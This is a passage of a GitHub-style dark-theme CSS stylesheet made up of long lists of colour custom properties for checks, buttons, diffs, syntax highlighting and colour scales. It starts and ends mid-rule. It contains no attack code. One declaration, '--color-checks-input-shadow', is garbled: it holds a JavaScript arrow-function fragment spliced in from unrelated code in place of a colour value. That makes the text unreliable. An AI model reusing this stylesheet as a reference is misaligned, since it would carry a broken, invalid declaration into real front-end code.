rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: 